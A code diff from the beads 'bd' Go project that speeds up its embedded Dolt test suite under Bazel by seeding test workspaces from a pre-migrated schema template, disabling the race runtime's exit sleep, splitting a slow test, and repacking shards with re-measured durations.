+50 48 TestEmbeddedLabelPropagateRename +50 48 TestEmbeddedMaxRowsDepTreeAndDuplicates +50 48 TestEmbeddedMemoryConcurrent +50 48 TestEmbeddedSearch -50 49 TestEmbeddedDepNoCycleCheck -50 49 TestEmbeddedFederationConcurrent -50 49 TestEmbeddedMemory -50 49 TestEmbeddedOnboard -50 49 TestEmbeddedPurgeFiltered +50 49 TestEmbeddedExplicitHierarchicalParentEdges +50 49 TestEmbeddedInitSelectedExcludeRoutingStealth -50 50 TestEmbeddedAutoImportJSONLSkipsNonEmpty -50 50 TestEmbeddedExportFlags -50 50 TestEmbeddedPurgeBasics -50 50 TestEmbeddedRenamePrefixConcurrent -50 50 TestEmbeddedUnclaim +50 50 TestEmbeddedDeferConcurrent +50 50 TestEmbeddedExternalMutationPolicy +50 50 TestEmbeddedGCConditionalMatcherDecode +50 50 TestEmbeddedPruneSafetyAndScope +50 50 TestEmbeddedStale diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 1be23c9fa..e434e70d3 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1301,12 +1301,16 @@ jobs: # cap per sh_test-like rule ("Having more than 50 shards is indicative of # poor test organization. Please reduce the number of shards." -- a # native analysis-time error, not a style lint); on rbe-west its shards - # ran 83-209s (6.5k shard-seconds, 2026-10-09), so it, not storage or - # //internal/httpclient:httpclient_served_test, is this lane's floor. - # Lowering it needs per-test speedups spread across the suite or - # splitting bd_embedded_test into multiple <=50-shard sh_test rules with - # shard-index-offset plumbing through tools/bazel/go_test_manifest_shard.sh - # and check_shard_coverage.py. On RBE the tier's wall time ~= that floor + # ran 83-209s (6.5k shard-seconds, 2026-10-09) until bdInit seeded each + # workspace from a per-process schema template and the race bd + # subprocesses stopped sleeping 1s at exit (~4.1-4.4k shard-seconds, + # slowest shard ~140-160s, its slowest single tests ~100-130s under + # load), so it, not storage or //internal/httpclient:httpclient_served_test, + # is still this lane's floor. Lowering it further needs per-test speedups + # in its slowest functions; more shards (splitting bd_embedded_test into + # multiple <=50-shard sh_test rules with shard-index-offset plumbing + # through tools/bazel/go_test_manifest_shard.sh and + # check_shard_coverage.py) would not move the slowest single test. On RBE the tier's wall time ~= that floor # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f725268ee..00cf8b088 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -731,6 +731,7 @@ go_test( "duplicates_embedded_test.go", "duplicates_proxied_integration_test.go", "duplicates_test.go", + "embedded_init_template_test.go", "envfile_test.go", "epic_embedded_test.go", "epic_proxied_integration_test.go", @@ -1432,12 +1433,22 @@ sh_test( ":go_srcs", "//:.github/scripts/embedded-cmd-test-shards.txt", "//:.github/scripts/embedded-test-shard.sh", + "//internal/storage/embeddeddolt/cmd:cmd_norace", "@go_sdk//:bin/gofmt", ], env = { "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", + # bdInit's schema template (embedded_init_template_test.go), migrated + # by a non-race build of the embeddeddolt open tool. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + # The race runtime sleeps 1s before every process exit by default + # (atexit_sleep_ms) so goroutines still running can report a race; + # the bd subprocesses (hundreds per shard, each a few seconds) exit + # through it every time. Races they hit while running still fail + # the command (exit 66) as before. + "GORACE": "atexit_sleep_ms=0", }, shard_count = 50, tags = ["embedded"], diff --git a/cmd/bd/embedded_init_template_test.go b/cmd/bd/embedded_init_template_test.go new file mode 100644 index 000000000..8f57dff16 --- /dev/null +++ b/cmd/bd/embedded_init_template_test.go @@ -0,0 +1,239 @@ +//go:build cgo + +package main + +import ( + "context" + "fmt" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// freshInitEnv makes bdInit leave every workspace's schema to its own +// `bd init` instead of seeding it from the per-process schema template +// (seedEmbeddedSchema), to check that a failure does not depend on the seed. +const freshInitEnv = "BEADS_TEST_FRESH_INIT" + +// schemaTemplateDatabase is the template's database directory name; each +// seed is renamed to the workspace's own database name. +const schemaTemplateDatabase = "schematemplate" + +var ( + schemaTemplateOnce sync.Once + schemaTemplateDir string + schemaTemplateErr error +) + +// schemaToolEnv names a non-race build of +// internal/storage/embeddeddolt/cmd (runfiles path) for embeddedSchemaTemplate +// to run instead of migrating in this process, which under -race takes ~20s. +const schemaToolEnv = "BEADS_TEST_EMBEDDED_SCHEMA_TOOL" + +// embeddedSchemaTemplate creates one embedded Dolt database per test process +// with every schema migration applied and nothing else (embeddeddolt.Open on +// an empty directory, as bd init's own open does), under testTempRoot, and +// returns its database directory. +func embeddedSchemaTemplate() (string, error) { + schemaTemplateOnce.Do(func() { + beadsDir, err := testTempDir("bd-schema-template-*") + if err != nil { + schemaTemplateErr = fmt.Errorf("create schema template dir: %w", err) + return + } + if err := migrateSchemaTemplate(beadsDir); err != nil { + schemaTemplateErr = fmt.Errorf("migrate schema template in %s: %w", beadsDir, err) + return + } + schemaTemplateDir = filepath.Join(beadsDir, "embeddeddolt", schemaTemplateDatabase) + }) + return schemaTemplateDir, schemaTemplateErr +} + +func migrateSchemaTemplate(beadsDir string) error { + if os.Getenv(schemaToolEnv) == "" { + store, err := embeddeddolt.Open(context.Background(), beadsDir, schemaTemplateDatabase, "main") + if err != nil { + return err + } + return store.Close() + } + tool, err := bazeltest.RunfileEnv(schemaToolEnv) + if err != nil { + return err + } + out, err := exec.Command(tool, "--dir", beadsDir, "--database", schemaTemplateDatabase).CombinedOutput() + if err != nil { + return fmt.Errorf("%s: %w\n%s", tool, err, out) + } + return nil +} + +// seededInitDatabase returns the embedded database name `bd init --quiet +// ` creates, and false when bdInit should not seed it: an argument +// it does not know (it may pick another mode or location), no --prefix (the +// name then comes from the directory), or BEADS_TEST_FRESH_INIT=1. +func seededInitDatabase(extraArgs []string) (string, bool) { + if os.Getenv(freshInitEnv) == "1" { + return "", false + } + var prefix, database string + for i := 0; i < len(extraArgs); i++ { + switch extraArgs[i] { + case "--prefix", "--database": + if i+1 == len(extraArgs) { + return "", false + } + if extraArgs[i] == "--prefix" { + prefix = extraArgs[i+1] + } else { + database = extraArgs[i+1] + } + i++ + case "--quiet", "--skip-hooks", "--skip-agents", "--non-interactive": + default: + return "", false + } + } + if prefix == "" { + return "", false + } + if database != "" { + return database, true + } + return dbNameFromPrefix(normalizeIssuePrefix(prefix)), true +} + +// seedEmbeddedSchema copies the schema template into dir's .beads as database +// before bd init runs there. bd init then opens a database whose migrations +// are all applied, so it skips the migration chain (one Dolt commit per +// migration: most of an init's cost under -race) and does everything else +// itself: identity, issue prefix, config, hooks, agent files, the git commit. +// Seeded workspaces share the template's migration commits as their history. +func seedEmbeddedSchema(t *testing.T, dir, database string) { + t.Helper() + tmpl, err := embeddedSchemaTemplate() + if err != nil { + t.Fatalf("%v", err) + } + dst := filepath.Join(dir, ".beads", "embeddeddolt", database) + if err := copyTree(tmpl, dst); err != nil { + t.Fatalf("seed embedded schema %s into %s: %v", tmpl, dst, err) + } +} + +// requireSeededEmbeddedInit fails unless bd init kept the seeded database as +// the workspace's embedded database. +func requireSeededEmbeddedInit(t *testing.T, beadsDir, database string) { + t.Helper() + cfg, err := configfile.Load(beadsDir) + if err != nil || cfg == nil { + t.Fatalf("bd init on a seeded schema: load %s/metadata.json: cfg=%v err=%v", beadsDir, cfg, err) + } + if cfg.DoltMode != configfile.DoltModeEmbedded || cfg.DoltDatabase != database { + t.Fatalf("bd init on a seeded schema chose mode %q database %q, want embedded %q; teach seededInitDatabase this case or run with %s=1", + cfg.DoltMode, cfg.DoltDatabase, database, freshInitEnv) + } +} + +// copyTree copies src's tree to dst, keeping file and directory modes. +func copyTree(src, dst string) error { + return filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, err := filepath.Rel(src, path) + if err != nil { + return err + } + target := filepath.Join(dst, rel) + info, err := d.Info() + if err != nil { + return err + } + switch { + case d.IsDir(): + if err := os.MkdirAll(target, 0o700); err != nil { + return err + } + return os.Chmod(target, info.Mode().Perm()|0o700) + case d.Type().IsRegular(): + b, err := os.ReadFile(path) + if err != nil { + return err + } + if err := os.WriteFile(target, b, info.Mode().Perm()); err != nil { + return err + } + return os.Chmod(target, info.Mode().Perm()) + default: + return fmt.Errorf("unexpected file type %s at %s", d.Type(), path) + } + }) +} + +func TestSeededInitDatabase(t *testing.T) { + t.Setenv(freshInitEnv, "") + for _, tt := range []struct { + args []string + want string + ok bool + }{ + {[]string{"--prefix", "gc"}, "gc", true}, + {[]string{"--prefix", "my-proj", "--skip-hooks", "--skip-agents"}, "my_proj", true}, + {[]string{"--prefix", "a.b"}, "a_b", true}, + {[]string{"--database", "shared_db", "--prefix", "alpha"}, "shared_db", true}, + {nil, "", false}, + {[]string{"--prefix"}, "", false}, + {[]string{"--prefix", "gc", "--server"}, "", false}, + {[]string{"--prefix", "gc", "--role", "contributor"}, "", false}, + } { + got, ok := seededInitDatabase(tt.args) + if got != tt.want || ok != tt.ok { + t.Errorf("seededInitDatabase(%q) = %q, %v; want %q, %v", tt.args, got, ok, tt.want, tt.ok) + } + } + t.Setenv(freshInitEnv, "1") + if _, ok := seededInitDatabase([]string{"--prefix", "gc"}); ok { + t.Errorf("seededInitDatabase seeds with %s=1", freshInitEnv) + } +} + +func TestCopyTreeKeepsModes(t *testing.T) { + src, dst := t.TempDir(), filepath.Join(t.TempDir(), "copy") + if err := os.MkdirAll(filepath.Join(src, "noms"), 0o750); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(src, "noms", "manifest"), []byte("m"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(src, "hook"), []byte("#!/bin/sh\n"), 0o755); err != nil { + t.Fatal(err) + } + if err := copyTree(src, dst); err != nil { + t.Fatalf("copyTree: %v", err) + } + if b, err := os.ReadFile(filepath.Join(dst, "noms", "manifest")); err != nil || string(b) != "m" { + t.Fatalf("copied manifest = %q, %v", b, err) + } + for path, want := range map[string]os.FileMode{ + filepath.Join(dst, "noms"): 0o750, + filepath.Join(dst, "noms", "manifest"): 0o600, + filepath.Join(dst, "hook"): 0o755, + } { + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != want { + t.Errorf("%s mode = %v, want %v", path, info.Mode().Perm(), want) + } + } +} diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index 0c4963000..891985cd4 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -189,13 +189,22 @@ func bdRunWithFlockRetry(t *testing.T, bd, dir string, args ...string) ([]byte, // bdInit creates a temp dir with a git repo, runs bd init --quiet with the // given extra args, and returns (dir, beadsDir, combined output). -// Fatals if bd init fails. +// Fatals if bd init fails. bd init runs on a schema already migrated from a +// per-process template (seedEmbeddedSchema) when seededInitDatabase knows the +// arguments. func bdInit(t *testing.T, bd string, extraArgs ...string) (dir, beadsDir string, out string) { t.Helper() dir = t.TempDir() initGitRepoAt(t, dir) + database, seeded := seededInitDatabase(extraArgs) + if seeded { + seedEmbeddedSchema(t, dir, database) + } out = runBDInit(t, bd, dir, extraArgs...) beadsDir = filepath.Join(dir, ".beads") + if seeded { + requireSeededEmbeddedInit(t, beadsDir, database) + } return } @@ -1597,12 +1606,23 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { } } -func TestEmbeddedInitSelectedExcludeRouting(t *testing.T) { +// The selected-exclude routing cases are two top-level tests, not one: each +// case is a full embedded init under -race and they cannot run in parallel +// (t.Setenv), so one function held a whole Bazel shard for ~2 minutes. +func TestEmbeddedInitSelectedExcludeRoutingStealth(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "stealth_invalid", "quiet_stealth") +} + +func TestEmbeddedInitSelectedExcludeRoutingFork(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_invalid", "quiet_fork", "fork_auto_invalid") +} + +func testEmbeddedInitSelectedExcludeRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } bd := buildEmbeddedBD(t) - for _, name := range []string{"stealth_decoy", "stealth_invalid", "fork_decoy", "fork_invalid", "quiet_stealth", "quiet_fork", "fork_auto_invalid"} { + for _, name := range names { t.Run(name, func(t *testing.T) { target, decoy, home := newInitRoleFixture(t) global := filepath.Join(home, ".gitconfig") diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 8a9136e0b..840daec1e 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -22,6 +22,24 @@ go_binary( visibility = ["//:__subpackages__"], ) +# The same tool built without the race detector whatever the configuration, +# for //cmd/bd:bd_embedded_test's schema template: run once per shard, it +# migrates an empty database in seconds instead of the ~20s it takes under +# --config=embedded's race. cgo-only, as :cmd. +go_binary( + name = "cmd_norace", + testonly = True, + out = "cmd_norace/schema", + embed = [":cmd_lib"], + race = "off", + tags = ["cgo-only"], + target_compatible_with = select({ + "//tools/bazel:pure": ["@platforms//:incompatible"], + "//conditions:default": [], + }), + visibility = ["//cmd/bd:__pkg__"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/ci/_embedded_shard_manifest_lib.py b/scripts/ci/_embedded_shard_manifest_lib.py index 2f234d77f..ac80a8db8 100644 --- a/scripts/ci/_embedded_shard_manifest_lib.py +++ b/scripts/ci/_embedded_shard_manifest_lib.py @@ -8,8 +8,8 @@ machinery, generalized so both embedded generators (and any future one) share one implementation instead of two independently-maintained copies. The per-suite scripts own discovery (the test-name regex/glob), the duration-file path and its "seconds_per_init_fallback" semantics, and the manifest header -text; this module owns everything suite-agnostic: pack(), incremental_pack(), -split_blocks()/write_block(), and check_coverage(). +text; this module owns everything suite-agnostic: pack(), pack_concurrent(), +incremental_pack(), split_blocks()/write_block(), and check_coverage(). See gen_proxied_shard_manifest.py's module docstring for the full rationale behind incremental --write (merge-conflict avoidance across unrelated PRs) @@ -32,6 +32,35 @@ def pack(costs, total): return shards, loads +def shard_wall(names, costs, serial, parallelism): + """Estimated wall time of one Go test process running `names`: + top-level tests that do not call t.Parallel (`serial`) run one after + another before the parallel ones, which then share `parallelism` + (-test.parallel) slots, so the parallel group takes at least its longest + test and at least its total spread over the slots.""" + ser = sum(costs[n] for n in names if n in serial) + par = [costs[n] for n in names if n not in serial] + return ser + max(max(par, default=0.0), sum(par) / parallelism) + + +def pack_concurrent(costs, total, serial, parallelism): + """Greedy bin-pack for a Go test process that runs tests concurrently: + longest first, each onto the shard whose estimated wall time + (shard_wall) grows least, ties to the lighter shard. Plain LPT (pack()) + sums durations, which for a -test.parallel binary overstates a shard of + several parallel tests and understates one holding a serial test. + Returns (shards, walls).""" + order = sorted(costs, key=lambda k: (-costs[k], k)) + shards = [[] for _ in range(total)] + walls = [0.0] * total + for name in order: + best = min(range(total), key=lambda i: ( + shard_wall(shards[i] + [name], costs, serial, parallelism), walls[i], i)) + shards[best].append(name) + walls[best] = shard_wall(shards[best], costs, serial, parallelism) + return shards, walls + + def split_blocks(text): """Split a manifest file's text into its per-total_shards blocks. diff --git a/scripts/ci/embedded_cmd_test_durations.json b/scripts/ci/embedded_cmd_test_durations.json index aa935db5c..e5fcfe221 100644 --- a/scripts/ci/embedded_cmd_test_durations.json +++ b/scripts/ci/embedded_cmd_test_durations.json @@ -1,315 +1,290 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=embedded", - "//cmd/bd:bd_embedded_test --local_test_jobs=8` alongside the storage-tier", - "and conformance targets below (all four run in the same invocation, the", - "same way bazel.yml's bazel-embedded tier runs its shards concurrently on", - "one host) -- race, `-test.parallel=4`, tag filter `embedded`, run with the", - "real committed 40-shard manifest (.github/scripts/embedded-cmd-test-shards.txt)", - "so every one of the 242 TestEmbedded* functions that existed at capture time", - "ran exactly once (local sandboxed execution only; no remote executor or", - "cache flags were configured for this measurement run).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test --config=embedded --nocache_test_results", + "//cmd/bd:bd_embedded_test` runs (race, `-test.parallel=4`, 50 shards), so", + "every top-level TestEmbedded* function ran exactly once per run. Each value", + "is the mean of the two runs (the two split", + "TestEmbeddedInitSelectedExcludeRouting{Stealth,Fork} functions ran only in", + "the second). The runs were taken after bdInit started seeding each", + "workspace's embedded database from a per-process schema template", + "(cmd/bd/embedded_init_template_test.go) and the bd subprocesses stopped", + "sleeping 1s at exit (GORACE=atexit_sleep_ms=0 on the target): the sum of", + "test-seconds fell from ~20.2k to ~10.3k on the same executors. Individual", + "tests varied up to ~2x between the two runs with executor load; the sum", + "moved ~4%. The previous capture was local sandboxed execution and", + "correlated only ~0.4 with rbe-west shard times.", "", "Each value is that top-level test's own from Bazel's", - "generated test.xml, NOT the enclosing . For this Go test", - "binary / Bazel version, was found empirically to be a", - "wall-clock-since-binary-start timestamp (it does not isolate a concurrently", - "-run top-level test's own duration under -test.parallel=4), whereas", - " matched the test binary's own `--- PASS: TestX (Ys)` line", - "exactly. Do not switch this capture to without", - "re-verifying that relationship for the toolchain in use at the time.", + "generated test.xml, NOT the enclosing : is a wall-clock-since-binary-start timestamp that does not isolate a", + "concurrently-run top-level test's own duration under -test.parallel=4,", + "while matches the test binary's own `--- PASS: TestX (Ys)`", + "line. Go adds a parallel test's elapsed time to its duration before it", + "waits for a parallel slot, so slot wait is not counted.", "", - "F1 review correction (S1): an earlier pass of this file explained four", - "outliers (TestEmbeddedUpdateConcurrent, TestEmbeddedCloseConcurrent,", - "TestEmbeddedInitA, TestEmbeddedEpicCloseEligibleReason) as a", - "\"queueing-delay\" artifact of Go's t.Parallel() clock starting before a", - "test's parallel slot is granted, and shipped corrected-down weights on", - "that theory. That explanation was WRONG and has been retracted: Go's", - "testing package (testing.go's (*T).Parallel) adds the elapsed time to", - "t.duration BEFORE blocking on the parallel-slot barrier, so queued-for-a-", - "slot wait time is never counted in a test's own reported duration in the", - "first place. The original large numbers were genuine CPU-bound running", - "time under real resource contention (dozens of Bazel shards running", - "concurrently on one host, each internally up to -test.parallel=4) -- this", - "capture re-measures every test under exactly that condition (all 54", - "cmd+storage+conformance shards running together, not solo) instead of", - "mixing solo-measured corrections into a contended-capture baseline.", + "The generator packs these with a model of the shard process", + "(_embedded_shard_manifest_lib.py's pack_concurrent): functions without a", + "top-level t.Parallel() run one after another, before the parallel ones,", + "which share -test.parallel=4 slots.", "", - "Two of those four outliers (TestEmbeddedUpdateConcurrent,", - "TestEmbeddedCloseConcurrent) are synthetic many-worker concurrency stress", - "tests whose cost is dominated by serialized `bd` subprocess invocations", - "behind the embedded engine's single-writer lock, not by -test.parallel", - "contention; their recorded values below are post-fix estimates (measured", - "value x 0.4) after cutting issuesPerWorker from 5 to 2 in both tests (see", - "their doc comments in update_embedded_test.go / close_embedded_test.go) --", - "pending a fresh capture to confirm. TestEmbeddedEpicCloseEligibleReason", - "was split into TestEmbeddedEpicCloseEligibleReasonFlag (3 subtests) and", - "TestEmbeddedEpicCloseEligibleReasonOutput (2 subtests); their recorded", - "values are the measured combined total apportioned 3:2 by subtest count,", - "also pending a fresh capture. TestEmbeddedInitA needed no further action:", - "at ~196s under this consistent methodology it is close to but under the", - "~200s single-test isolation threshold.", + "`seconds_per_init_fallback` is sum(durations) / sum(inits) over every test", + "here (inits: discover_inits_cost()'s t.Run( count proxy), used only for a", + "brand-new test with no entry yet.", "", - "Every test measuring at or above ~200s under this consistent load is", - "pinned alone on its own shard in the generated manifest below (see that", - "file's header); LPT bin-packing does this automatically as long as the", - "weight is accurate, since no combination of lighter tests sums close to", - "a ~200s+ single item without the packer preferring to isolate it.", - "", - "`seconds_per_init_fallback` is the weighted average seconds-per-init over", - "every measured test in this file (sum of all durations / sum of all inits,", - "where inits is discover_inits_cost()'s t.Run( count proxy), used only for a", - "brand-new test with no entry yet (see", - "scripts/ci/gen_embedded_cmd_shard_manifest.py's discover_inits_cost()).", - "", - "As with the proxied tier's duration file, these are a relative weight for", - "LPT bin-packing, not an absolute SLA: within-shard -test.parallel=4", - "overlap, farm noisy-neighbor effects, and future code changes all mean a", - "shard's total packed cost is a planning estimate, not a guarantee." + "These are a relative weight for packing, not an absolute SLA." ], - "seconds_per_init_fallback": 19.4828, + "seconds_per_init_fallback": 9.5837, "tests": { - "TestEmbeddedAdminBlocked": 20.33, - "TestEmbeddedAdminCompactReadOnlyAllowed": 21.99, - "TestEmbeddedAdminCompactTier2Honesty": 25.2, - "TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber": 28.23, - "TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll": 23.63, - "TestEmbeddedAutoImportJSONLConcurrentWriter": 34.41, - "TestEmbeddedAutoImportJSONLNoExplicitCommit": 64.27, - "TestEmbeddedAutoImportJSONLSkipsNonEmpty": 27.53, - "TestEmbeddedBackup": 162.68, - "TestEmbeddedBackupConcurrent": 45.4, - "TestEmbeddedBlocked": 35.34, - "TestEmbeddedBlockedConcurrent": 51.71, - "TestEmbeddedBlockedLabelFilters": 66.12, - "TestEmbeddedBootstrap": 133.62, - "TestEmbeddedBootstrapConcurrent": 23.4, - "TestEmbeddedBranch": 128.64, - "TestEmbeddedBranchConcurrent": 36.84, - "TestEmbeddedChangeDirOverridesInheritedBeadsDir": 62.33, - "TestEmbeddedChildren": 86.18, - "TestEmbeddedChildrenConcurrent": 104.16, - "TestEmbeddedClaimPools": 78.4, - "TestEmbeddedCloseAlreadyClosed": 179.15, - "TestEmbeddedCloseBasic": 158.81, - "TestEmbeddedCloseConcurrent": 129.7, - "TestEmbeddedCloseGuardsAndEpics": 105.86, - "TestEmbeddedComments": 30.42, - "TestEmbeddedCommentsCLI": 89.97, - "TestEmbeddedCommentsCLIConcurrent": 38.85, - "TestEmbeddedCompact": 166.61, - "TestEmbeddedCompactConcurrent": 28.81, - "TestEmbeddedCompactMisdatedChild": 33.71, - "TestEmbeddedConfig": 83.45, - "TestEmbeddedConfigConcurrent": 96.47, - "TestEmbeddedConfigNoWorkspaceStoreFreeCommands": 6.09, - "TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout": 0.35, - "TestEmbeddedContext": 68.26, - "TestEmbeddedContextConcurrent": 22.8, - "TestEmbeddedContributorCreate": 166.08, - "TestEmbeddedCount": 127.95, - "TestEmbeddedCountConcurrent": 122.44, - "TestEmbeddedCountIncludeEphemeral": 86.31, - "TestEmbeddedCountIncludeInfra": 80.89, - "TestEmbeddedCreateCommitPending": 41.89, - "TestEmbeddedCreateConcurrent": 39.83, - "TestEmbeddedCreateCrossRepo": 44.64, - "TestEmbeddedCreateCrossRepoDryRunWithParent": 62.24, - "TestEmbeddedCreateCrossRepoUninit": 45.69, - "TestEmbeddedCreateCrossRepoWithParent": 80.27, - "TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget": 48.57, - "TestEmbeddedCreateDryRunDoesNotMigrate": 28.63, - "TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget": 24.56, - "TestEmbeddedCreateFormCommitsLabelOnlyCreate": 31.46, - "TestEmbeddedCreateGraphAndBulk": 114.91, - "TestEmbeddedCreateJSONEchoesSubSecondTimestamps": 32.3, - "TestEmbeddedCreateRepoFromNonBeadsCwd": 23.45, - "TestEmbeddedCreateRepoProxiedTargetError": 45.4, - "TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected": 45.93, - "TestEmbeddedCreateRepoRelativeUninitRefused": 24.13, - "TestEmbeddedCreateScalarAndRelationships": 191.35, - "TestEmbeddedCreateStorageClassBasic": 111.77, - "TestEmbeddedCreateStorageClassBatchAndMisc": 163.68, - "TestEmbeddedCreateStorageClassConflicts": 93.79, - "TestEmbeddedCreateWithGitRemote": 25.17, - "TestEmbeddedDefer": 92.03, - "TestEmbeddedDeferAutoWake": 79.42, - "TestEmbeddedDeferConcurrent": 121.28, - "TestEmbeddedDelete": 122.43, - "TestEmbeddedDeleteJSONDependencyErrorContract": 58.17, - "TestEmbeddedDepA": 175.73, - "TestEmbeddedDepAddWispSource": 58.14, - "TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead": 132.31, - "TestEmbeddedDepB": 176.75, - "TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate": 38.51, - "TestEmbeddedDepConcurrent": 150.67, - "TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge": 66.98, - "TestEmbeddedDepNoCycleCheck": 88.95, - "TestEmbeddedDiff": 56.44, - "TestEmbeddedDiffConcurrent": 68.69, - "TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead": 174.02, - "TestEmbeddedDoltBlockedAndCommit": 59.12, - "TestEmbeddedDoltConcurrent": 68.7, - "TestEmbeddedDoltRemoteAndPush": 136.04, - "TestEmbeddedDuplicate": 72.32, - "TestEmbeddedDuplicateConcurrent": 69.38, - "TestEmbeddedDuplicates": 173.68, - "TestEmbeddedDuplicatesConcurrent": 59.24, - "TestEmbeddedEpicCloseEligible": 149.47, - "TestEmbeddedEpicCloseEligibleReasonFlag": 169.79, - "TestEmbeddedEpicCloseEligibleReasonOutput": 113.2, - "TestEmbeddedEpicConcurrent": 142.99, - "TestEmbeddedEpicStatus": 95.11, - "TestEmbeddedExplicitHierarchicalParentEdges": 65.84, - "TestEmbeddedExportConcurrent": 44.93, - "TestEmbeddedExportFlags": 130.38, - "TestEmbeddedExportFormats": 115.36, - "TestEmbeddedExternalCapabilityReadyAfterShip": 63.55, - "TestEmbeddedExternalMutationPolicy": 116.06, - "TestEmbeddedFederationConcurrent": 31.34, - "TestEmbeddedFederationPeers": 146.53, - "TestEmbeddedFederationStatus": 133.93, - "TestEmbeddedFindDuplicates": 124.62, - "TestEmbeddedFindDuplicatesConcurrent": 70.27, - "TestEmbeddedFlatten": 161.6, - "TestEmbeddedFlattenConcurrent": 32.13, - "TestEmbeddedGC": 185.65, - "TestEmbeddedGCConcurrent": 40.17, - "TestEmbeddedGate": 181.85, - "TestEmbeddedGateConcurrent": 66.94, - "TestEmbeddedGateCreate": 123.16, - "TestEmbeddedGateListScoped": 38.87, - "TestEmbeddedGetDependencies": 59.85, - "TestEmbeddedGraph": 81.16, - "TestEmbeddedGraphConcurrent": 88.99, - "TestEmbeddedHistory": 109.52, - "TestEmbeddedHistoryConcurrent": 90.07, - "TestEmbeddedHooks": 27.53, - "TestEmbeddedHooksConcurrent": 23.45, - "TestEmbeddedHuman": 97.66, - "TestEmbeddedHumanConcurrent": 30.64, - "TestEmbeddedImportClosedChildWhoseParentWasDeleted": 21.26, - "TestEmbeddedImportConcurrent": 31.4, - "TestEmbeddedImportFromSources": 124.38, - "TestEmbeddedImportPromotedWispRoundtrip": 137.68, - "TestEmbeddedImportUpsertAndPrefixSync": 111.37, - "TestEmbeddedInfo": 41.38, - "TestEmbeddedInfoConcurrent": 39.05, - "TestEmbeddedInfoSuppressGitHooks": 33.35, - "TestEmbeddedInitA": 196.25, - "TestEmbeddedInitArtifactRouting": 22.67, - "TestEmbeddedInitB": 145.22, - "TestEmbeddedInitC": 23.58, - "TestEmbeddedInitConcurrent": 47.95, - "TestEmbeddedInitExplicitBeadsDirIsAuthoritative": 53.4, - "TestEmbeddedInitGitBootstrapRouting": 158.28, - "TestEmbeddedInitHooksRouting": 22.24, - "TestEmbeddedInitRoleRouting": 125.08, - "TestEmbeddedInitSelectedExcludeRouting": 153.06, - "TestEmbeddedKV": 48.98, - "TestEmbeddedKVConcurrent": 108.72, - "TestEmbeddedLabelAddRemove": 138.68, - "TestEmbeddedLabelConcurrent": 84.16, - "TestEmbeddedLabelEditReports": 138.9, - "TestEmbeddedLabelPropagateRename": 120.78, - "TestEmbeddedLint": 82.71, - "TestEmbeddedLintConcurrent": 75.72, - "TestEmbeddedListComments": 51.81, - "TestEmbeddedListConcurrent": 33.41, - "TestEmbeddedListFiltering": 239.7, - "TestEmbeddedListSearchAndOutput": 147.31, - "TestEmbeddedMaxRowsDepTreeAndDuplicates": 97.69, - "TestEmbeddedMaxRowsDoctorAndConfig": 90.88, - "TestEmbeddedMaxRowsGraph": 159.26, - "TestEmbeddedMaxRowsListBasic": 107.6, - "TestEmbeddedMaxRowsListLimitInteraction": 192.0, - "TestEmbeddedMaxRowsReady": 168.09, - "TestEmbeddedMaxRowsReadyMerge": 78.54, - "TestEmbeddedMemory": 130.17, - "TestEmbeddedMemoryConcurrent": 95.43, - "TestEmbeddedMigrate": 155.64, - "TestEmbeddedMigrateConcurrent": 32.07, - "TestEmbeddedOnboard": 25.75, - "TestEmbeddedOnboardConcurrent": 22.91, + "TestEmbeddedAdminBlocked": 17.82, + "TestEmbeddedAdminCompactReadOnlyAllowed": 2.5, + "TestEmbeddedAdminCompactTier2Honesty": 17.71, + "TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber": 18.77, + "TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll": 11.63, 